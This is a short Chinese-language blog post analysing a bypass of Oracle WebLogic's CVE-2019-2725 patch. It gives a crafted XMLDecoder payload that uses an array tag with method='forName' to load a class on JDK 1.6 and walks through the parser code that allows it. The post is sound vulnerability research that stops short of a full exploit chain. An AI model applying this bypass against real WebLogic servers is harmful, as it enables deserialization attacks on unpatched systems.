前言
简单的水一篇
这两天网上公布了CVE-2019-2725的补丁使用array标签+method属性来获取Class的绕过,这里简单分析一下。
由于JDK1.7以上的XMLDecoder对每种标签支持的属性有严格的限制,所以此方法只适用于JDK1.6。
看本文之前建议先了解一下XMLDecoder的解析流程。
虽然文章写的是jdk1.7以上的,但是大体流程差异不大。
影响的Weblogic版本
Weblogic 10.3.6默认自带JDK1.6,但是可以选择使用系统中的JDK,有一定影响。
Weblogic 12以上要求JDK版本>1.6,所以这版本就没影响了。(感谢pyn3rd师傅提醒)
关键点分析
测试代码:
public static void main(String[] args) throws FileNotFoundException {
String filename = "1.xml";
XMLDecoder XD =new XMLDecoder(new FileInputStream(filename));
Object o = XD.readObject();
System.out.println(o);
}
输入的XML
<java>
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="2">
<void index="0">
<byte>-84</byte>
</void>
<void index="1">
<byte>-19</byte>
</void>
</array>
</void>
</array>
</java>
2725的补丁过滤了object/new/method标签,void标签只允许用index,array的class只能用byte,并限制了长度,如上XML避开了过滤。
这里只分析关键的获取class部分,后续的实例化部分与之前的漏洞没有区别。
com.sun.beans.ObjectHandler类,进入到处理array标签的startElement函数调用,开头流程如下:
- 初始化属性HashMap。
- 创建MutableExpression对象,有关Expression看下这里,简单来说就是可以用类似表达式的形式来调用构造方法、数组读写、类函数的类。
- 遍历class/property/index/method属性,来设置Expression对象的Target或Method。
可以看到jdk1.6下会获取method标签的内容,并将其设置给创建的Expression对象,此处将method设置为了forName。
继续往下走,进入处理专门处理array标签的代码:
由于我们的array标签没有设置length属性由于我们的array标签没有设置length,所以var11此处为null,而后会Expression的Target设置为一个Class对象,最终本函数会将调用Class.forName的Expression对象压入表达式栈中。
后续步骤就剩下向该表达式添加类名参数并调用来获取class对象,最后进行实例化,此处就不说了。
结尾
水水更健康。